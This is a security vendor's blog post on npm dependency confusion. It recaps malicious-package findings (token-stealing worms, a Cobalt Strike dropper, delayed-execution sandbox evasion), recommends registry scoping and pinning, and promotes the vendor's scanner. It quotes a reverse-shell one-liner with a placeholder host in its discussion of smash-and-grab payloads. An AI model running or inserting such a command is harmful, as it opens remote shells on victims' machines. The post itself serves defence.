Safeguard
Supply Chain Attacks

Dependency confusion on npm: how public-registry precedence became a delivery channel for post-exploitation frameworks

In May 2022, Snyk found 200+ malicious npm packages, including one that polled for commands until it dropped a Cobalt Strike trojan, and another that delayed 30 minutes to dodge sandboxes.

Safeguard Research Team
Research
5 min read

In May 2022, Snyk's security research team published findings from an automated pipeline that watches npm's live CouchDB replication feed at replicate.npmjs.com/_changes alongside registry metadata and download counts from api.npmjs.org. The sweep surfaced more than 200 true-positive malicious packages, flagged by heuristics like major-version jumps of 90 or more, long dormancy followed by a sudden new release with no matching GitHub tag, and outbound calls to infrastructure like canarytokens.com and ngrok.io. Named specimens included gxm-reference-web-auth-server, variants of klook-node-framework, and scoped packages like @uc-maps/* and @seller-ui/*. Among the payloads: credential and .npmrc theft; worm-like samples that harvested a victim's own npm token and republished themselves under faker-generated names; one sample that polled a remote server every 10 seconds for updates and eventually downloaded a binary that VirusTotal identified as a Cobalt Strike trojan; and a separate sample that spawned a detached process and sat idle for roughly 30 minutes before starting any malicious activity at all. That delay is the tell: it is a sandbox-evasion technique, not a bug. This post breaks down why npm's install model makes this class of attack possible, and what actually stops it at the organization level.

What makes npm structurally vulnerable to dependency confusion?

Dependency confusion exploits a simple precedence problem: when a package manifest references an unscoped internal package name, and no explicit registry mapping pins it to a private source, npm's default resolver can pull whichever registry serves that name first — and the public registry is reachable by anyone. If an internal package called billing-utils exists only in a company's private registry, an attacker who registers billing-utils on the public npm registry is betting that some build machine, somewhere, resolves names without a scope or an explicit registry override and grabs the public impostor instead. Security researcher Alex Birsan demonstrated this pattern at scale in 2021 against internal names used by more than 30 companies. npm itself doesn't need a bug for this to work — it's a configuration gap in how organizations map internal names to registries, and it's why unscoped internal packages are the highest-risk surface in any npm-based build pipeline.

Why does a Cobalt Strike-style payload matter more than a typical malicious package?

Most malicious npm packages Snyk catalogued in 2022 were smash-and-grab: steal environment variables, exfiltrate to ipinfo.io, pop a reverse shell with a one-liner like /bin/bash -l > /dev/tcp/<host>/<port> . A dropper that instead polls a remote server for staged commands is playing a longer game — it's establishing a beacon, the same architecture Cobalt Strike (a legitimate red-team framework widely abused by real intrusion actors) uses for command-and-control. In Snyk's sample, the malicious script polled every 10 seconds for updates before eventually pulling down a binary that VirusTotal identified as a Cobalt Strike trojan. The practical difference for defenders: a reverse shell fires immediately and is easy to catch in a five-minute CI sandbox. A beaconing dropper is built to survive past that window — and Snyk observed the same evasion instinct taken further in a separate sample, whose detached process waited 30 minutes before doing anything malicious at all, specifically to outlast automated scanning and only act once the package had landed on a developer laptop or build server. Either pattern turns a single npm install into a persistent foothold rather than a one-shot smash-and-grab.

How do worm-like publishing patterns make a single compromise spread?

Several packages in the Snyk sweep didn't just exfiltrate data — they checked for a local .npmrc file containing a valid npm auth token, and if found, ran npm publish to clone themselves under a new faker-generated package name using that stolen credential. This converts a single compromised developer machine into a distribution node: the malicious code republishes itself with a fresh identity, resetting download counts and evading any blocklist keyed to the original package name. It's the npm-ecosystem equivalent of a worm using a stolen credential to re-seed itself, and it explains why "just delete the bad package" is an insufficient response — every machine with a leaked, still-valid npm token is a potential republishing point until the token itself is rotated.

What org-level controls actually stop dependency confusion before install?

Two controls close the precedence gap that makes dependency confusion possible in the first place. First, scope every internally-published package under an org-owned npm scope (@yourorg/package-name) — scoped names cannot collide with unscoped public packages, and npm resolves scoped packages only against the registry configured for that scope. Second, pin registry resolution explicitly in .npmrc rather than relying on defaults: set @yourorg:registry=https://your-private-registry so any package under that scope only ever resolves internally, and consider an always-auth=true plus a package-lock or npm-shrinkwrap that records the resolved registry URL per dependency, not just the version. Neither control requires new tooling — both are configuration changes to how a build resolves names, which is exactly the layer dependency confusion attacks.

How does Safeguard help catch this pattern once a package is already in a pipeline?

Registry scoping and pinning close the resolution gap, but they don't help with a malicious package published under a name nobody was impersonating — the Cobalt Strike-style dropper case above didn't rely on name confusion at all. Safeguard's Eagle model scores every npm publish and retroactively re-scores the last ten years of the registry, looking specifically at install-script behavior, egress patterns toward known C2 infrastructure, credential harvesting from paths like ~/.npmrc , and typosquat similarity within edit-distance 2 of a top-1000 package. Eagle's documented evasion checks explicitly include delayed-execution payloads and typosquat rotation — the same sandbox-evasion and worm-republishing patterns Snyk observed. Guardrails then enforce that classification at install, CI, and registry push, so a package scoring above the malicious threshold is blocked before it ever reaches a build, rather than discovered after a beacon has already gone live.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.